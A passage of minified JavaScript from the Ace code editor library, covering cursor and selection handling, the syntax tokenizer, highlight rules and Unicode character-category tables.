s=this.session.getFoldAt(e,t,1);if(s){this.moveCursorTo(s.end.row,s.end.column);return}if(i=this.session.nonTokenRe.exec(r))t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,r=n.substring(t);if(t>=n.length){this.moveCursorTo(e,n.length),this.moveCursorRight(),e<this.doc.getLength()-1&&this.moveCursorWordRight();return}if(i=this.session.tokenRe.exec(r))t+=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0;this.moveCursorTo(e,t)},this.moveCursorLongWordLeft=function(){var e=this.lead.row,t=this.lead.column,n;if(n=this.session.getFoldAt(e,t,-1)){this.moveCursorTo(n.start.row,n.start.column);return}var r=this.session.getFoldStringAt(e,t,-1);r==null&&(r=this.doc.getLine(e).substring(0,t));var s=i.stringReverse(r),o;this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;if(o=this.session.nonTokenRe.exec(s))t-=this.session.nonTokenRe.lastIndex,s=s.slice(this.session.nonTokenRe.lastIndex),this.session.nonTokenRe.lastIndex=0;if(t<=0){this.moveCursorTo(e,0),this.moveCursorLeft(),e>0&&this.moveCursorWordLeft();return}if(o=this.session.tokenRe.exec(s))t-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0;this.moveCursorTo(e,t)},this.$shortWordEndIndex=function(e){var t,n=0,r,i=/\\s/,s=this.session.tokenRe;s.lastIndex=0;if(t=this.session.tokenRe.exec(e))n=this.session.tokenRe.lastIndex;else{while((r=e[n])&&i.test(r))n++;if(n<1){s.lastIndex=0;while((r=e[n])&&!s.test(r)){s.lastIndex=0,n++;if(i.test(r)){if(n>2){n--;break}while((r=e[n])&&i.test(r))n++;if(n>2)break}}}}return s.lastIndex=0,n},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,n=this.doc.getLine(e),r=n.substring(t),i=this.session.getFoldAt(e,t,1);if(i)return this.moveCursorTo(i.end.row,i.end.column);if(t==n.length){var s=this.doc.getLength();do e++,r=this.doc.getLine(e);while(e<s&&/^\\s*$/.test(r));/^\\s+/.test(r)||(r=\"\"),t=0}var o=this.$shortWordEndIndex(r);this.moveCursorTo(e,t+o)},this.moveCursorShortWordLeft=function(){var e=this.lead.row,t=this.lead.column,n;if(n=this.session.getFoldAt(e,t,-1))return this.moveCursorTo(n.start.row,n.start.column);var r=this.session.getLine(e).substring(0,t);if(t===0){do e--,r=this.doc.getLine(e);while(e>0&&/^\\s*$/.test(r));t=r.length,/\\s+$/.test(r)||(r=\"\")}var s=i.stringReverse(r),o=this.$shortWordEndIndex(s);return this.moveCursorTo(e,t-o)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);t===0&&(this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column);var r=this.session.screenToDocumentPosition(n.row+e,n.column);e!==0&&t===0&&r.row===this.lead.row&&r.column===this.lead.column&&this.session.lineWidgets&&this.session.lineWidgets[r.row]&&(r.row>0||e>0)&&r.row++,this.moveCursorTo(r.row,r.column+t,t===0)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,n){var r=this.session.getFoldAt(e,t,1);r&&(e=r.start.row,t=r.start.column),this.$keepDesiredColumnOnChange=!0,this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,n||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,n){var r=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(r.row,r.column,n)},this.detach=function(){this.lead.detach(),this.anchor.detach(),this.session=this.doc=null},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e.call(null,this);var n=this.getCursor();return o.fromPoints(t,n)}catch(r){return o.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map(function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t});else{var e=this.getRange();e.isBackwards=this.isBackwards()}return e},this.fromJSON=function(e){if(e.start==undefined){if(this.rangeList){this.toSingleRange(e[0]);for(var t=e.length;t--;){var n=o.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(n.cursor=n.start),this.addRange(n,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(u.prototype),t.Selection=u}),define(\"ace/tokenizer\",[\"require\",\"exports\",\"module\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"./config\"),i=2e3,s=function(e){this.states=e,this.regExps={},this.matchMappings={};for(var t in this.states){var n=this.states[t],r=[],i=0,s=this.matchMappings[t]={defaultToken:\"text\"},o=\"g\",u=[];for(var a=0;a<n.length;a++){var f=n[a];f.defaultToken&&(s.defaultToken=f.defaultToken),f.caseInsensitive&&(o=\"gi\");if(f.regex==null)continue;f.regex instanceof RegExp&&(f.regex=f.regex.toString().slice(1,-1));var l=f.regex,c=(new RegExp(\"(?:(\"+l+\")|(.))\")).exec(\"a\").length-2;Array.isArray(f.token)?f.token.length==1||c==1?f.token=f.token[0]:c-1!=f.token.length?(this.reportError(\"number of classes and regexp groups doesn't match\",{rule:f,groupCount:c-1}),f.token=f.token[0]):(f.tokenArray=f.token,f.token=null,f.onMatch=this.$arrayTokens):typeof f.token==\"function\"&&!f.onMatch&&(c>1?f.onMatch=this.$applyToken:f.onMatch=f.token),c>1&&(/\\\\\\d/.test(f.regex)?l=f.regex.replace(/\\\\([0-9]+)/g,function(e,t){return\"\\\\\"+(parseInt(t,10)+i+1)}):(c=1,l=this.removeCapturingGroups(f.regex)),!f.splitRegex&&typeof f.token!=\"string\"&&u.push(f)),s[i]=a,i+=c,r.push(l),f.onMatch||(f.onMatch=null)}r.length||(s[0]=0,r.push(\"$\")),u.forEach(function(e){e.splitRegex=this.createSplitterRegexp(e.regex,o)},this),this.regExps[t]=new RegExp(\"(\"+r.join(\")|(\")+\")|($)\",o)}};(function(){this.$setMaxTokenCount=function(e){i=e|0},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),n=this.token.apply(this,t);if(typeof n==\"string\")return[{type:n,value:e}];var r=[];for(var i=0,s=n.length;i<s;i++)t[i]&&(r[r.length]={type:n[i],value:t[i]});return r},this.$arrayTokens=function(e){if(!e)return[];var t=this.splitRegex.exec(e);if(!t)return\"text\";var n=[],r=this.tokenArray;for(var i=0,s=r.length;i<s;i++)t[i+1]&&(n[n.length]={type:r[i],value:t[i+1]});return n},this.removeCapturingGroups=function(e){var t=e.replace(/\\[(?:\\\\.|[^\\]])*?\\]|\\\\.|\\(\\?[:=!]|(\\()/g,function(e,t){return t?\"(?:\":e});return t},this.createSplitterRegexp=function(e,t){if(e.indexOf(\"(?=\")!=-1){var n=0,r=!1,i={};e.replace(/(\\\\.)|(\\((?:\\?[=!])?)|(\\))|([\\[\\]])/g,function(e,t,s,o,u,a){return r?r=u!=\"]\":u?r=!0:o?(n==i.stack&&(i.end=a+1,i.stack=-1),n--):s&&(n++,s.length!=1&&(i.stack=n,i.start=a)),e}),i.end!=null&&/^\\)*$/.test(e.substr(i.end))&&(e=e.substring(0,i.start)+e.substr(i.end))}return e.charAt(0)!=\"^\"&&(e=\"^\"+e),e.charAt(e.length-1)!=\"$\"&&(e+=\"$\"),new RegExp(e,(t||\"\").replace(\"g\",\"\"))},this.getLineTokens=function(e,t){if(t&&typeof t!=\"string\"){var n=t.slice(0);t=n[0],t===\"#tmp\"&&(n.shift(),t=n.shift())}else var n=[];var r=t||\"start\",s=this.states[r];s||(r=\"start\",s=this.states[r]);var o=this.matchMappings[r],u=this.regExps[r];u.lastIndex=0;var a,f=[],l=0,c=0,h={type:null,value:\"\"};while(a=u.exec(e)){var p=o.defaultToken,d=null,v=a[0],m=u.lastIndex;if(m-v.length>l){var g=e.substring(l,m-v.length);h.type==p?h.value+=g:(h.type&&f.push(h),h={type:p,value:g})}for(var y=0;y<a.length-2;y++){if(a[y+1]===undefined)continue;d=s[o[y]],d.onMatch?p=d.onMatch(v,r,n):p=d.token,d.next&&(typeof d.next==\"string\"?r=d.next:r=d.next(r,n),s=this.states[r],s||(this.reportError(\"state doesn't exist\",r),r=\"start\",s=this.states[r]),o=this.matchMappings[r],l=m,u=this.regExps[r],u.lastIndex=m);break}if(v)if(typeof p==\"string\")!!d&&d.merge===!1||h.type!==p?(h.type&&f.push(h),h={type:p,value:v}):h.value+=v;else if(p){h.type&&f.push(h),h={type:null,value:\"\"};for(var y=0;y<p.length;y++)f.push(p[y])}if(l==e.length)break;l=m;if(c++>i){c>2*e.length&&this.reportError(\"infinite loop with in ace tokenizer\",{startState:t,line:e});while(l<e.length)h.type&&f.push(h),h={value:e.substring(l,l+=2e3),type:\"overflow\"};r=\"start\",n=[];break}}return h.type&&f.push(h),n.length>1&&n[0]!==r&&n.unshift(\"#tmp\",r),{tokens:f,state:n.length?n:r}},this.reportError=r.reportError}).call(s.prototype),t.Tokenizer=s}),define(\"ace/mode/text_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/lang\"),i=function(){this.$rules={start:[{token:\"empty_line\",regex:\"^$\"},{defaultToken:\"text\"}]}};(function(){this.addRules=function(e,t){if(!t){for(var n in e)this.$rules[n]=e[n];return}for(var n in e){var r=e[n];for(var i=0;i<r.length;i++){var s=r[i];if(s.next||s.onMatch)typeof s.next==\"string\"&&s.next.indexOf(t)!==0&&(s.next=t+s.next),s.nextState&&s.nextState.indexOf(t)!==0&&(s.nextState=t+s.nextState)}this.$rules[t+n]=r}},this.getRules=function(){return this.$rules},this.embedRules=function(e,t,n,i,s){var o=typeof e==\"function\"?(new e).getRules():e;if(i)for(var u=0;u<i.length;u++)i[u]=t+i[u];else{i=[];for(var a in o)i.push(t+a)}this.addRules(o,t);if(n){var f=Array.prototype[s?\"push\":\"unshift\"];for(var u=0;u<i.length;u++)f.apply(this.$rules[i[u]],r.deepCopy(n))}this.$embeds||(this.$embeds=[]),this.$embeds.push(t)},this.getEmbeds=function(){return this.$embeds};var e=function(e,t){return(e!=\"start\"||t.length)&&t.unshift(this.nextState,e),this.nextState},t=function(e,t){return t.shift(),t.shift()||\"start\"};this.normalizeRules=function(){function i(s){var o=r[s];o.processed=!0;for(var u=0;u<o.length;u++){var a=o[u];!a.regex&&a.start&&(a.regex=a.start,a.next||(a.next=[]),a.next.push({defaultToken:a.token},{token:a.token+\".end\",regex:a.end||a.start,next:\"pop\"}),a.token=a.token+\".start\",a.push=!0);var f=a.next||a.push;if(f&&Array.isArray(f)){var l=a.stateName;l||(l=a.token,typeof l!=\"string\"&&(l=l[0]||\"\"),r[l]&&(l+=n++)),r[l]=f,a.next=l,i(l)}else f==\"pop\"&&(a.next=t);a.push&&(a.nextState=a.next||a.push,a.next=e,delete a.push);if(a.rules)for(var c in a.rules)r[c]?r[c].push&&r[c].push.apply(r[c],a.rules[c]):r[c]=a.rules[c];if(a.include||typeof a==\"string\")var h=a.include||a,p=r[h];else Array.isArray(a)&&(p=a);if(p){var d=[u,1].concat(p);a.noEscape&&(d=d.filter(function(e){return!e.next})),o.splice.apply(o,d),u--,p=null}a.keywordMap&&(a.token=this.createKeywordMapper(a.keywordMap,a.defaultToken||\"text\",a.caseInsensitive),delete a.defaultToken)}}var n=0,r=this.$rules;Object.keys(r).forEach(i,this)},this.createKeywordMapper=function(e,t,n,r){var i=Object.create(null);return Object.keys(e).forEach(function(t){var s=e[t];n&&(s=s.toLowerCase());var o=s.split(r||\"|\");for(var u=o.length;u--;)i[o[u]]=t}),Object.getPrototypeOf(i)&&(i.__proto__=null),this.$keywordList=Object.keys(i),e=null,n?function(e){return i[e.toLowerCase()]||t}:function(e){return i[e]||t}},this.getKeywords=function(){return this.$keywords}}).call(i.prototype),t.TextHighlightRules=i}),define(\"ace/mode/behaviour\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(){this.$behaviours={}};(function(){this.add=function(e,t,n){switch(undefined){case this.$behaviours:this.$behaviours={};case this.$behaviours[e]:this.$behaviours[e]={}}this.$behaviours[e][t]=n},this.addBehaviours=function(e){for(var t in e)for(var n in e[t])this.add(t,n,e[t][n])},this.remove=function(e){this.$behaviours&&this.$behaviours[e]&&delete this.$behaviours[e]},this.inherit=function(e,t){if(typeof e==\"function\")var n=(new e).getBehaviours(t);else var n=e.getBehaviours(t);this.addBehaviours(n)},this.getBehaviours=function(e){if(!e)return this.$behaviours;var t={};for(var n=0;n<e.length;n++)this.$behaviours[e[n]]&&(t[e[n]]=this.$behaviours[e[n]]);return t}}).call(r.prototype),t.Behaviour=r}),define(\"ace/unicode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e){var n=/\\w{4}/g;for(var r in e)t.packages[r]=e[r].replace(n,\"\\\\u$&\")}t.packages={},r({L:\"0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC\",Ll:\"0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A\",Lu:\"0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A\",Lt:\"01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC\",Lm:\"02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F\",Lo:\"01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC\",M:\"0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26\",Mn:\"0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-